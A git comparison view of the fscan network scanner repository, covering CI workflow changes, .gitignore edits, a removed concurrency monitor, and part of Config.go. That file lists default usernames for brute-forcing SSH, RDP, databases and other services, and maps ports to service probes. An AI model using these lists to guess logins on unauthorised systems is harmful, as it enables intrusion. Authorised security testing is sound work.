Compare commits

..

No commits in common. "v2.2.0" and "main" have entirely different histories.
v2.2.0 ... main

259 changed files with 15631 additions and 49174 deletions

View File

@ -8,8 +8,8 @@ on:
inputs:
tag:
description: '发布标签'
required: false
default: ''
required: true
default: 'v1.0.0'
draft:
description: '创建草稿发布'
type: boolean
@ -20,13 +20,15 @@ on:
default: false
permissions:
contents: write # 需要写权限用于创建release
contents: write
issues: write
pull-requests: write
jobs:
goreleaser:
name: 构建和发布
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 60
# 设置作业级别的环境变量
env:
@ -36,7 +38,7 @@ jobs:
steps:
- name: 📥 检出代码
uses: actions/checkout@v4.1.1
uses: actions/checkout@v4
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
@ -46,40 +48,25 @@ jobs:
run: |
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
# 获取标签版本
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "is_tag=true" >> $GITHUB_OUTPUT
echo "branch_or_tag=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5.0.0
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3.0.0
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
@ -87,8 +74,7 @@ jobs:
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "发布标签: ${{ steps.project.outputs.branch_or_tag }}"
echo "构建模式: 发布模式"
echo "Git 标签: ${{ steps.project.outputs.version }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
@ -105,7 +91,7 @@ jobs:
- name: 🚀 构建和发布
id: build_step
uses: goreleaser/goreleaser-action@v5.0.0
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
@ -130,13 +116,13 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传构建产物
uses: actions/upload-artifact@v4.3.1
uses: actions/upload-artifact@v4
if: always()
with:
name: 发布产物-${{ steps.project.outputs.version }}
name: 构建产物-${{ steps.project.outputs.version }}
path: |
dist/
retention-days: 90
retention-days: 30
continue-on-error: true
- name: 📊 统计构建产物
@ -198,7 +184,6 @@ jobs:
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **构建模式** | 发布模式 |" >> $GITHUB_STEP_SUMMARY
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
@ -295,7 +280,6 @@ jobs:
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch_or_tag }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY

View File

@ -6,31 +6,11 @@ on:
- dev
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
inputs:
branch:
@ -39,13 +19,13 @@ on:
default: 'dev'
permissions:
contents: read # 只需要读权限用于检出代码
contents: read
jobs:
test-build:
name: 测试构建
runs-on: ubuntu-latest
timeout-minutes: 20
timeout-minutes: 30
# 设置作业级别的环境变量
env:
@ -55,7 +35,7 @@ jobs:
steps:
- name: 📥 检出代码
uses: actions/checkout@v4.1.1
uses: actions/checkout@v4
with:
fetch-depth: 0
ref: ${{ github.event.inputs.branch || github.ref }}
@ -72,28 +52,18 @@ jobs:
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5.0.0
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 💾 缓存Go模块
uses: actions/cache@v4.0.0
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3.0.0
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
@ -117,7 +87,7 @@ jobs:
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 测试构建 (Snapshot 模式)
uses: goreleaser/goreleaser-action@v5.0.0
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
@ -138,7 +108,7 @@ jobs:
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传测试产物
uses: actions/upload-artifact@v4.3.1
uses: actions/upload-artifact@v4
with:
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
path: |

65
.gitignore vendored
View File

@ -5,68 +5,3 @@ fscan.exe
fscan
makefile
fscanapi.csv
# IDE files / IDE 文件
.vscode/
.cursor/
.cursorrules
.claude/
# Local development files / 本地开发文件
*.local
*.tmp
*.temp
.env
.env.local
.env.development
.env.test
.env.production
# OS files / 操作系统文件
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
desktop.ini
# Logs / 日志文件
*.log
logs/
log/
# Test coverage / 测试覆盖率
coverage.txt
coverage.html
*.cover
# Build artifacts / 构建产物
dist/
build/
bin/
*.exe
*.dll
*.so
*.dylib
# Go specific / Go 相关
vendor/
*.test
*.prof
*.mem
*.cpu
__debug_bin*
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/

View File

@ -1,191 +0,0 @@
package common
import (
"fmt"
"sync"
"sync/atomic"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
ConcurrencyMonitor.go - 并发监控器
监控两个层级的并发
1. 主扫描器线程数 (-t 参数控制)
2. 插件内连接线程数 (-mt 参数控制)
*/
// ConcurrencyMonitor 并发监控器
type ConcurrencyMonitor struct {
// 主扫描器层级
activePluginTasks int64 // 当前活跃的插件任务数
totalPluginTasks int64 // 总插件任务数
// 插件内连接层级 (每个插件的连接线程数)
pluginConnections sync.Map // map[string]*PluginConnectionInfo
mu sync.RWMutex
}
// PluginConnectionInfo 单个插件的连接信息
type PluginConnectionInfo struct {
PluginName string // 插件名称
Target string // 目标地址
ActiveConnections int64 // 当前活跃连接数
TotalConnections int64 // 总连接数
}
var (
globalConcurrencyMonitor *ConcurrencyMonitor
concurrencyMutex sync.Once
)
// GetConcurrencyMonitor 获取全局并发监控器
func GetConcurrencyMonitor() *ConcurrencyMonitor {
concurrencyMutex.Do(func() {
globalConcurrencyMonitor = &ConcurrencyMonitor{
activePluginTasks: 0,
totalPluginTasks: 0,
}
})
return globalConcurrencyMonitor
}
// =============================================================================
// 主扫描器层级监控
// =============================================================================
// StartPluginTask 开始插件任务
func (m *ConcurrencyMonitor) StartPluginTask() {
atomic.AddInt64(&m.activePluginTasks, 1)
atomic.AddInt64(&m.totalPluginTasks, 1)
}
// FinishPluginTask 完成插件任务
func (m *ConcurrencyMonitor) FinishPluginTask() {
atomic.AddInt64(&m.activePluginTasks, -1)
}
// GetPluginTaskStats 获取插件任务统计
func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks)
}
// =============================================================================
// 插件内连接层级监控
// =============================================================================
// StartConnection 开始连接
func (m *ConcurrencyMonitor) StartConnection(pluginName, target string) {
key := fmt.Sprintf("%s@%s", pluginName, target)
value, _ := m.pluginConnections.LoadOrStore(key, &PluginConnectionInfo{
PluginName: pluginName,
Target: target,
})
info := value.(*PluginConnectionInfo)
atomic.AddInt64(&info.ActiveConnections, 1)
atomic.AddInt64(&info.TotalConnections, 1)
}
// FinishConnection 完成连接
func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
key := fmt.Sprintf("%s@%s", pluginName, target)
if value, ok := m.pluginConnections.Load(key); ok {
info := value.(*PluginConnectionInfo)
atomic.AddInt64(&info.ActiveConnections, -1)
}
}
// GetConnectionStats 获取所有插件连接统计
func (m *ConcurrencyMonitor) GetConnectionStats() map[string]*PluginConnectionInfo {
stats := make(map[string]*PluginConnectionInfo)
m.pluginConnections.Range(func(key, value interface{}) bool {
keyStr := key.(string)
info := value.(*PluginConnectionInfo)
// 只返回当前活跃的连接
if atomic.LoadInt64(&info.ActiveConnections) > 0 {
stats[keyStr] = &PluginConnectionInfo{
PluginName: info.PluginName,
Target: info.Target,
ActiveConnections: atomic.LoadInt64(&info.ActiveConnections),
TotalConnections: atomic.LoadInt64(&info.TotalConnections),
}
}
return true
})
return stats
}
// GetTotalActiveConnections 获取总活跃连接数
func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
var total int64
m.pluginConnections.Range(func(key, value interface{}) bool {
info := value.(*PluginConnectionInfo)
total += atomic.LoadInt64(&info.ActiveConnections)
return true
})
return total
}
// Reset 重置监控器
func (m *ConcurrencyMonitor) Reset() {
atomic.StoreInt64(&m.activePluginTasks, 0)
atomic.StoreInt64(&m.totalPluginTasks, 0)
m.pluginConnections.Range(func(key, value interface{}) bool {
m.pluginConnections.Delete(key)
return true
})
}
// GetConcurrencyStatus 获取并发状态字符串
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
activePlugins, _ := m.GetPluginTaskStats()
totalConnections := m.GetTotalActiveConnections()
if activePlugins == 0 && totalConnections == 0 {
return ""
}
if totalConnections == 0 {
return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
}
return fmt.Sprintf("%s:%d %s:%d",
i18n.GetText("concurrency_plugin"), activePlugins,
i18n.GetText("concurrency_connection"), totalConnections)
}
// GetDetailedStatus 获取详细的并发状态
func (m *ConcurrencyMonitor) GetDetailedStatus() string {
activePlugins, _ := m.GetPluginTaskStats()
connectionStats := m.GetConnectionStats()
if activePlugins == 0 && len(connectionStats) == 0 {
return i18n.GetText("concurrency_no_active_tasks")
}
status := fmt.Sprintf("%s: %d", i18n.GetText("concurrency_plugin_tasks"), activePlugins)
if len(connectionStats) > 0 {
status += " | " + i18n.GetText("concurrency_connection_details") + ": "
first := true
for _, info := range connectionStats {
if !first {
status += ", "
}
status += fmt.Sprintf("%s@%s:%d", info.PluginName, info.Target, info.ActiveConnections)
first = false
}
}
return status
}

971
Common/Config.go Normal file
View File

@ -0,0 +1,971 @@
package Common
import (
"github.com/schollz/progressbar/v3"
"sync"
)
var version = "2.0.1"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
var DefaultMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
var PortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
256: {"LDAPSearchReq", "LDAPBindReq"},
257: {"LDAPSearchReq", "LDAPBindReq"},
261: {"SSLSessionReq"},
264: {"GenericLines"},
271: {"SSLSessionReq"},
280: {"GetRequest"},
322: {"RTSPRequest", "SSLSessionReq"},
324: {"SSLSessionReq"},
389: {"LDAPSearchReq", "LDAPBindReq"},
390: {"LDAPSearchReq", "LDAPBindReq"},
406: {"SIPOptions"},
427: {"NotesRPC"},
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
445: {"SMBProgNeg"},
448: {"SSLSessionReq"},
449: {"GenericLines"},
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
497: {"GetRequest", "X11Probe"},
500: {"OpenVPN"},
505: {"GenericLines", "GetRequest"},
510: {"GenericLines"},
512: {"DNSVersionBindReqTCP"},
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
523: {"ibm-db2-das", "ibm-db2"},
524: {"NCP"},
540: {"GenericLines", "GetRequest"},
543: {"DNSVersionBindReqTCP"},
544: {"RPCCheck", "DNSVersionBindReqTCP"},
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
554: {"GetRequest", "RTSPRequest"},
563: {"SSLSessionReq"},
585: {"SSLSessionReq"},
587: {"GenericLines", "Hello", "Help"},
591: {"GetRequest"},
616: {"GenericLines"},
620: {"GetRequest"},
623: {"tn3270"},
628: {"GenericLines", "DNSVersionBindReqTCP"},
631: {"GetRequest", "HTTPOptions"},
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
637: {"LDAPSearchReq", "LDAPBindReq"},
641: {"HTTPOptions"},
660: {"SMBProgNeg"},
666: {"GenericLines", "beast2"},
684: {"SSLSessionReq"},
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
710: {"RPCCheck"},
711: {"RPCCheck"},
731: {"GenericLines"},
771: {"GenericLines"},
782: {"GenericLines"},
783: {"GetRequest"},
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
888: {"GetRequest"},
898: {"GetRequest"},
900: {"GetRequest"},
901: {"GetRequest"},
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
999: {"JavaRMI"},
1000: {"GenericLines"},
1010: {"GenericLines"},
1025: {"SMBProgNeg"},
1026: {"GetRequest"},
1027: {"SMBProgNeg"},
1028: {"TerminalServer"},
1029: {"DNSVersionBindReqTCP"},
1030: {"JavaRMI"},
1031: {"SMBProgNeg"},
1035: {"JavaRMI", "oracle-tns"},
1040: {"GenericLines"},
1041: {"GenericLines"},
1042: {"GenericLines", "GetRequest"},
1043: {"GenericLines"},
1068: {"TerminalServer"},
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
1090: {"JavaRMI", "Socks5", "Socks4"},
1095: {"Socks5", "Socks4"},
1098: {"JavaRMI"},
1099: {"JavaRMI"},
1100: {"JavaRMI", "Socks5", "Socks4"},
1101: {"JavaRMI"},
1102: {"JavaRMI"},
1103: {"JavaRMI"},
1105: {"Socks5", "Socks4"},
1109: {"Socks5", "Socks4"},
1111: {"Help"},
1112: {"SMBProgNeg"},
1129: {"JavaRMI"},
1194: {"OpenVPN"},
1199: {"JavaRMI"},
1200: {"NCP"},
1212: {"GenericLines"},
1214: {"GetRequest"},
1217: {"NCP"},
1220: {"GenericLines", "GetRequest"},
1234: {"GetRequest", "JavaRMI"},
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
1248: {"GenericLines"},
1302: {"GenericLines"},
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
1314: {"GetRequest"},
1344: {"GetRequest"},
1352: {"NotesRPC"},
1400: {"GenericLines"},
1414: {"ibm-mqseries"},
1415: {"ibm-mqseries"},
1416: {"ibm-mqseries"},
1417: {"ibm-mqseries"},
1418: {"ibm-mqseries"},
1419: {"ibm-mqseries"},
1420: {"ibm-mqseries"},
1432: {"GenericLines"},
1433: {"ms-sql-s", "RPCCheck"},
1440: {"JavaRMI"},
1443: {"GetRequest", "SSLSessionReq"},
1467: {"GenericLines"},
1500: {"Verifier"},
1501: {"GenericLines", "VerifierAdvanced"},
1503: {"GetRequest", "TerminalServer"},
1505: {"GenericLines"},
1521: {"oracle-tns"},
1522: {"oracle-tns"},
1525: {"oracle-tns"},
1526: {"oracle-tns", "informix", "drda"},
1527: {"drda"},
1549: {"WMSRequest"},
1550: {"X11Probe"},
1574: {"oracle-tns"},
1583: {"pervasive-relational", "pervasive-btrieve"},
1599: {"LibreOfficeImpressSCPair"},
1610: {"GetRequest"},
1611: {"GetRequest"},
1666: {"GenericLines"},
1687: {"GenericLines"},
1688: {"GenericLines"},
1702: {"LDAPSearchReq", "LDAPBindReq"},
1720: {"TerminalServer"},
1748: {"oracle-tns"},
1754: {"oracle-tns"},
1755: {"WMSRequest"},
1761: {"LANDesk-RC"},
1762: {"LANDesk-RC"},
1763: {"LANDesk-RC"},
1830: {"GetRequest"},
1883: {"mqtt"},
1900: {"GetRequest"},
1911: {"niagara-fox"},
1935: {"TerminalServer"},
1962: {"pcworx"},
1972: {"NotesRPC"},
1981: {"JavaRMI"},
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
2001: {"GetRequest"},
2002: {"GetRequest", "X11Probe"},
2010: {"GenericLines"},
2023: {"tn3270"},
2024: {"GenericLines"},
2030: {"GetRequest"},
2040: {"TerminalServer"},
2049: {"RPCCheck"},
2050: {"dominoconsole"},
2064: {"GetRequest"},
2068: {"DNSVersionBindReqTCP"},
2100: {"FourOhFourRequest"},
2105: {"DNSVersionBindReqTCP"},
2160: {"GetRequest"},
2181: {"Memcache"},
2199: {"JavaRMI"},
2221: {"SSLSessionReq"},
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
2301: {"HTTPOptions"},
2306: {"GetRequest"},
2323: {"tn3270"},
2375: {"docker"},
2376: {"SSLSessionReq", "docker"},
2379: {"docker"},
2380: {"docker"},
2396: {"GetRequest"},
2401: {"Help"},
2443: {"SSLSessionReq"},
2481: {"giop"},
2482: {"giop"},
2525: {"GetRequest"},
2600: {"GenericLines"},
2627: {"Help"},
2701: {"LANDesk-RC"},
2715: {"GetRequest"},
2809: {"JavaRMI"},
2869: {"GetRequest"},
2947: {"LPDString"},
2967: {"DNSVersionBindReqTCP"},
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
3001: {"NCP"},
3002: {"GetRequest", "NCP"},
3003: {"NCP"},
3004: {"NCP"},
3005: {"GenericLines", "NCP"},
3006: {"SMBProgNeg", "NCP"},
3025: {"Hello"},
3031: {"NCP"},
3050: {"firebird"},
3052: {"GetRequest", "RTSPRequest"},
3127: {"mydoom"},
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
3129: {"mydoom"},
3130: {"mydoom"},
3131: {"mydoom"},
3132: {"mydoom"},
3133: {"mydoom"},
3134: {"mydoom"},
3135: {"mydoom"},
3136: {"mydoom"},
3137: {"mydoom"},
3138: {"mydoom"},
3139: {"mydoom"},
3140: {"mydoom"},
3141: {"mydoom"},
3142: {"mydoom"},
3143: {"mydoom"},
3144: {"mydoom"},
3145: {"mydoom"},
3146: {"mydoom"},
3147: {"mydoom"},
3148: {"mydoom"},
3149: {"mydoom"},
3150: {"mydoom"},
3151: {"mydoom"},
3152: {"mydoom"},
3153: {"mydoom"},
3154: {"mydoom"},
3155: {"mydoom"},
3156: {"mydoom"},
3157: {"mydoom"},
3158: {"mydoom"},
3159: {"mydoom"},
3160: {"mydoom"},
3161: {"mydoom"},
3162: {"mydoom"},
3163: {"mydoom"},
3164: {"mydoom"},
3165: {"mydoom"},
3166: {"mydoom"},
3167: {"mydoom"},
3168: {"mydoom"},
3169: {"mydoom"},
3170: {"mydoom"},
3171: {"mydoom"},
3172: {"mydoom"},
3173: {"mydoom"},
3174: {"mydoom"},
3175: {"mydoom"},
3176: {"mydoom"},
3177: {"mydoom"},
3178: {"mydoom"},
3179: {"mydoom"},
3180: {"mydoom"},
3181: {"mydoom"},
3182: {"mydoom"},
3183: {"mydoom"},
3184: {"mydoom"},
3185: {"mydoom"},
3186: {"mydoom"},
3187: {"mydoom"},
3188: {"mydoom"},
3189: {"mydoom"},
3190: {"mydoom"},
3191: {"mydoom"},
3192: {"mydoom"},
3193: {"mydoom"},
3194: {"mydoom"},
3195: {"mydoom"},
3196: {"mydoom"},
3197: {"mydoom"},
3198: {"mydoom"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq"},
3273: {"JavaRMI"},
3280: {"GetRequest"},
3310: {"GenericLines", "VersionRequest"},
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
3351: {"pervasive-relational", "pervasive-btrieve"},
3372: {"GetRequest", "RTSPRequest"},
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
3443: {"GetRequest", "SSLSessionReq"},
3493: {"Help"},
3531: {"GetRequest"},
3632: {"DistCCD"},
3689: {"GetRequest"},
3790: {"metasploit-msgrpc"},
3872: {"GetRequest"},
3892: {"LDAPSearchReq", "LDAPBindReq"},
3900: {"SMBProgNeg", "JavaRMI"},
3940: {"GenericLines"},
4000: {"GetRequest", "NoMachine"},
4035: {"LDAPBindReq", "LDAPBindReq"},
4045: {"RPCCheck"},
4155: {"GenericLines"},
4369: {"epmd"},
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4533: {"rotctl"},
4567: {"GetRequest"},
4660: {"GetRequest"},
4711: {"GetRequest", "piholeVersion"},
4899: {"Radmin"},
4911: {"SSLSessionReq", "niagara-fox"},
4999: {"RPCCheck"},
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
5001: {"WMSRequest", "ZendJavaBridge"},
5002: {"ZendJavaBridge"},
5009: {"SMBProgNeg"},
5060: {"GetRequest", "SIPOptions"},
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
5201: {"iperf3"},
5222: {"GetRequest"},
5232: {"HTTPOptions"},
5269: {"GetRequest"},
5280: {"GetRequest"},
5302: {"X11Probe"},
5323: {"DNSVersionBindReqTCP"},
5400: {"GenericLines"},
5427: {"GetRequest"},
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
5443: {"SSLSessionReq"},
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
5521: {"JavaRMI"},
5530: {"DNSVersionBindReqTCP"},
5550: {"SSLSessionReq", "SSLv23SessionReq"},
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
5556: {"DNSVersionBindReqTCP"},
5570: {"GenericLines"},
5580: {"JavaRMI"},
5600: {"SMBProgNeg"},
5701: {"hazelcast-http"},
5702: {"hazelcast-http"},
5703: {"hazelcast-http"},
5704: {"hazelcast-http"},
5705: {"hazelcast-http"},
5706: {"hazelcast-http"},
5707: {"hazelcast-http"},
5708: {"hazelcast-http"},
5709: {"LANDesk-RC", "hazelcast-http"},
5800: {"GetRequest"},
5801: {"GetRequest"},
5802: {"GetRequest"},
5803: {"GetRequest"},
5868: {"SSLSessionReq"},
5900: {"GetRequest"},
5985: {"GetRequest"},
5986: {"GetRequest", "SSLSessionReq"},
5999: {"JavaRMI"},
6000: {"HTTPOptions", "X11Probe"},
6001: {"X11Probe"},
6002: {"X11Probe"},
6003: {"X11Probe"},
6004: {"X11Probe"},
6005: {"X11Probe"},
6006: {"X11Probe"},
6007: {"X11Probe"},
6008: {"X11Probe"},
6009: {"X11Probe"},
6010: {"X11Probe"},
6011: {"X11Probe"},
6012: {"X11Probe"},
6013: {"X11Probe"},
6014: {"X11Probe"},
6015: {"X11Probe"},
6016: {"X11Probe"},
6017: {"X11Probe"},
6018: {"X11Probe"},
6019: {"X11Probe"},
6020: {"X11Probe"},
6050: {"DNSStatusRequestTCP"},
6060: {"JavaRMI"},
6103: {"GetRequest"},
6112: {"GenericLines"},
6163: {"HELP4STOMP"},
6251: {"SSLSessionReq"},
6346: {"GetRequest"},
6379: {"redis-server"},
6432: {"GenericLines"},
6443: {"SSLSessionReq"},
6543: {"DNSVersionBindReqTCP"},
6544: {"GetRequest"},
6560: {"Help"},
6588: {"Socks5", "Socks4"},
6600: {"GetRequest"},
6660: {"Socks5", "Socks4"},
6661: {"Socks5", "Socks4"},
6662: {"Socks5", "Socks4"},
6663: {"Socks5", "Socks4"},
6664: {"Socks5", "Socks4"},
6665: {"Socks5", "Socks4"},
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
